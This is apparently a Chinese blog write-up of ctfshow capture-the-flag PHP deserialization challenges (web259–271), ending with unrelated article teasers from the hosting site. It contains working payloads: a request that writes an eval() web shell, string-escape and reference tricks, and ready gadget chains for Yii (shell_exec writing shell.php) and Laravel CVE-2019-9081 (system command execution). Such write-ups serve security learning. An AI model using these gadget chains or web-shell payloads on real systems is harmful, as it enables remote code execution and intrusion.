这道题是反序列化和SSRF的结合,具体的我还没弄懂,看wp也没看懂,先附上一个wp,之后我在补充

ctfshow web259-CSDN博客

web260

源码

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

payload

?ctfshow="ctfshow_i_love_36D"

web261

源码

 <?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

 payload

<?php
class ctfshowvip{
    public $username;
    public $password;
 
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

最终payload

?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
访问877.php,并post传入:1=phpinfo();
成功rce

web262

源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

看到了注释里面有@message.php这个文件访问一下,得到以下源码

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

先分析第一段代码有字符串逃逸,字符串减少逃逸,将两段代码结合起来进行代码审计,关于这里的setcookie就是与message.php中的代码进行前呼后应,就是它传进去它传出来,在这里第一段代码进行base64加密,第二段代码进行base64解密,所以这几个函数不用去考虑,直接考虑字符串逃逸就可以了,在这里它要求token等于admin,但第一段代码显示token等于user,那么这时候就要构造

";s:5:"token";s:5:"admin";}

一共27个字符,而fuck去替换loveU,每一个只能少一个字符,所以需要27个fuck,这样可以进行逃逸成功

最终payload

get:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web265

源码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这道题就是&的运用,如何运用可以看看我上面写的

这道题就是要求让变量token的值等于password的值,而token的值是一共随机数,所以它是会变的,所以我们需要让他们两个指向同一个地址,具体脚本如下

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    function __construct(){
        $this->password = &$this->token;
    }
}

echo serialize(new ctfshowAdmin());

?>

根据这两道题我们可以看出来这种运用方式,都需要__construct()这个魔法函数;

web266

先看源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

看到throw new Exception()这个东西就应该想到垃圾回收机制,但这里其实不需要这个也能去触发__destruct()这个魔法函数,因为这里可以通过正则进行绕过,只要绕过正则就可以绕过垃圾回收机制了;

先讲简单的绕过正则吧

先说一下php有以下特性

变量名区分大小写
常量名区分大小写
数组索引 (键名) 区分大小写
函数名, 方法名, 类名不区分大小写
魔术常量不区分大小写 (以双下划线开头和结尾的常量)
NULL TRUE FALSE 不区分大小写
强制类型转换不区分大小写 (在变量前面加上 (type))

也就是说这里可以通过大小写进行绕过

payload

POST
O:7:"CTFSHOW":0:{}

这里也要注意一下这里的传参方式,这里就是一个php://input的伪协议,就是POST直接传参就可以执行命令;如果不懂可以看我之前的文件包含这篇博客,也可以学到一些新的知识

以题为例浅谈文件包含-CSDN博客

接下来就是介绍如何用垃圾回收机制进行做这道题

代码如下

<?php

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __destruct(){
        global $flag;
        echo $flag;
    }

}
echo serialize(new ctfshow());

运行后可以得到

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

修改后就是payload了

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:0:"password";s:6:"xxxxxx";}

就可以绕过垃圾回收机制让它__destruct()这个魔法函数触发;

web267

在上面已经写过了,就不在多说了;

web268

和上面步骤一样,不过过滤了一些东西,把GET改成POST就行了

脚本如下

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', "echo '<?php eval(\$_POST[1]);phpinfo();?>' > shell.php");
    echo(base64_encode(serialize($exp)));
}

payload

/index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo1MzoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fQ==

然后访问shell.php,与上一道题差不多,只是上一道题是GET传参,这道题是POST传参;

web269,270

和web268步骤相同;

web271

查看源码

 <?php

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

Laravel5.7(CVE-2019-9081)反序列化漏洞

直接利用上面的脚本

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令

    echo urlencode(serialize($pendingcommand));
}

运行得到flag

之后还会对反序列化这一系列进行补充。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2171042.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

占领矩阵-第15届蓝桥省赛Scratch中级组真题第5题

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第190讲。 如果想持续关注Scratch蓝桥真题解读&#xff0c;可以点击《Scratch蓝桥杯历年真题》并订阅合集&#xff0c;…

【图像处理】多幅不同焦距的同一个物体的平面图象,合成一幅具有立体效果的单幅图像原理(一)

合成一幅具有立体效果的单幅图像&#xff0c;通常是利用多个不同焦距的同一物体的平面图像&#xff0c;通过图像处理技术实现的。以下是该过程的基本原理&#xff1a; 1. 立体视觉原理 人眼的立体视觉是通过双眼观察物体的不同视角而获得的。两只眼睛的位置不同&#xff0c;使…

【学习笔记】MIPI

MIPI介绍 MIPI是由ARM、Nokia、ST、IT等公司成立的一个联盟&#xff0c;旨在把手机内部的接口如存储接口&#xff0c;显示接口&#xff0c;射频/基带接口等标准化&#xff0c;减少兼容性问题并简化设计。 MIPI联盟通过不同的工作组&#xff0c;分别定义一系列手机内部的接口标…

猜拳数据集-石头-剪刀-布数据集

“石头-剪刀-布”计算机视觉项目是一个利用摄像头捕捉手势并识别出手势是石头、剪刀还是布的项目。这类项目通常用于学习和展示计算机视觉技术&#xff0c;如图像处理、特征提取以及机器学习或深度学习模型的应用。 数据介绍 rock-paper-scissors Computer Vision Project数…

基于状态机的流程编排架构设计

背景 xx产品侧规划了全新的能力升级&#xff0c; 主要思路为&#xff1a;改变之前通过xx等手工生成xx的方式&#xff0c;通过标准化流程尽可能的减少人工介入&#xff0c;提升产出效率。xx入库、xx生成链路存在链路长、链路不稳定问题&#xff0c;由于目前缺乏比较好的监控、检…

一文多图,彻底弄懂LSM-Tree

一文弄懂LSM-Tree LSM-Tree是什么&#xff1f; LSM-Tree&#xff08;Log Structured Merge Tree&#xff09;是一种数据结构&#xff0c;它被设计用于处理大量写入操作的场景&#xff0c;常见于许多NoSQL数据库中&#xff0c;如BigTable、Cassandra、RocksDB和LevelDB等。 L…

废品回收小程序:回收更加便捷!

在日常生活中&#xff0c;废品回收已经成为了一种常见事&#xff0c;随着电商的快速发展&#xff0c;居民难免会产生大量的废纸盒等可回收物&#xff0c;以及在日常生活中产生的其他回收物&#xff0c; 目前&#xff0c;废品回收市场也发生了改革&#xff0c;传统的“叫卖”方…

MySQL高阶1990-统计实验的数量

目录 题目 准备数据 分析数据 总结 题目 写一个 SQL 查询语句&#xff0c;以报告在给定三个实验平台中每种实验完成的次数。请注意&#xff0c;每一对&#xff08;实验平台、实验名称&#xff09;都应包含在输出中&#xff0c;包括平台上实验次数是零的。 结果可以以任意…

C++之STL—常用查找算法

- find //查找元素 - find_if //按条件查找元素 - adjacent_find //查找相邻重复元素 - binary_search //二分查找法 - count //统计元素个数 - count_if //按条件统计元素个数 find (iterator begin, …

衡石分析平台系统管理手册-功能配置之全局 JS 设置

全局 JS 设置​ 衡石系统提供了全局 JS 设置功能&#xff0c;用户可以通过自定义 JS 代码实现系统的个性化需求&#xff0c;如使用第三方统计工具对系统平台的 PV 、UV 进行监测。 使用场景​ 场景1&#xff1a;增加百度统计​ 下图示例中使用 js 代码引用了百度网站统计功…

SUP-NeRF-ECCV2024: 单目3D对象重建的新突破

2024-09-25&#xff0c;由Bosch Research North America和Michigan State University联合发布的SUP-NeRF&#xff0c;是一个基于单目图像进行3D对象重建的新型方法。一个无缝集成姿态估计和物体重建的统一网格。 ECCV&#xff1a;欧洲计算机视觉会议的缩写&#xff0c;它是计算…

免费好用!AI声音克隆神器,超级简单,10秒就能克隆任何声音!(附保姆级教程)

今天下午还有读者问&#xff1a; 有没有能克隆声音的 AI 工具&#xff1f; 其实剪映很早就上了克隆声音的功能。 只需要按要求朗读例句&#xff0c;或者上传本地的音视频文件&#xff0c;就可以克隆声音了。 操作非常简单&#xff0c;效果也不错&#xff0c;可以试试。 除了…

数据库软题4-关系代数转SQL语言

题1 因为是笛卡尔积 <ABCD CDE> <1234 567> 笛卡尔积 RxS FROM R&#xff0c;S题2 题3 题4 题5

day-62 每种字符至少取 K 个

思路 滑动窗口&#xff1a;改变思路&#xff0c;从左右两边取字符&#xff0c;是a b c三个字符至少被取k次&#xff0c;那么意味着如果我们知道字符串中a b c的出现个数&#xff0c;那么可以知道取走后剩下子串a b c的个数&#xff0c;问题转化为了求最长子串 解题过程 如果a …

java项目开发团队分配管理软件

需求&#xff1a; 该软件实现以下功能&#xff1a; 软件启动时&#xff0c;首先进入登录界面进行注册和登录功能。 当登陆成功后&#xff0c;进入菜单&#xff0c;首先就可以对开发人员账户和密码进行修改。 然后可以对开发人员进行增删改操作 人员添加成功后&#xff0c;根据菜…

传奇GEE引擎版本如何封挂?GEE引擎设置简单的封挂脚本教程

网关参数设置gee引擎封挂脚本 1、打开M2-选项-参数设置-游戏速度 把所有的设置限速关闭 2、打开M2-选项-客户端设置-内挂控制-速度控制&#xff1a;移动速度 攻击速度 魔法速度 设置好参数&#xff0c;一旦设置不要修改 否则封挂网关参数需重新设置 打开M2-选项-功能设置-…

【C++算法】栈

删除字符中的所有相邻重复项 题目链接 删除字符中的所有相邻重复项https://leetcode.cn/problems/remove-all-adjacent-duplicates-in-string/description/ 算法原理 代码展示 class Solution { public:string removeDuplicates(string s) {string ret;for(int i 0; i &l…

C# 的枚举(Enum)应用说明

一.Enum的定义&#xff1a; 枚举是一组命名整型的常量。枚举类型是使用 enum 关键字声明的&#xff0c;它是值类型。枚举包含自己的值&#xff0c;且不能继承或传递继承。 二.声明 enum 变量&#xff1a; 声明枚举的一般语法&#xff1a; enum <enum_name> { enumerati…

Harbor使用

文章目录 1、上传镜像1.1、在Harbor上创建一个项目1.2、docker添加安全访问权限1.3、推送docker镜像到该项目中1.3.1、登录到Harbor1.3.2、给镜像重新打一个标签1.3.3、推送镜像到Harbor中 2、拉取镜像2.1、先删掉原来的镜像2.2、执行拉取命令 1、上传镜像 需求&#xff1a;将…

[Python]什么是K-Means均值聚类算法?

K-Means均值聚类分析是一种无监督学习算法&#xff0c;用于将数据集分成k个簇&#xff08;cluster&#xff09;&#xff0c;其中每个簇的成员在某种意义上是相似的。算法的目标是找到质心&#xff08;centroid&#xff09;&#xff0c;使得每个点到其最近质心的距离之和最小。通…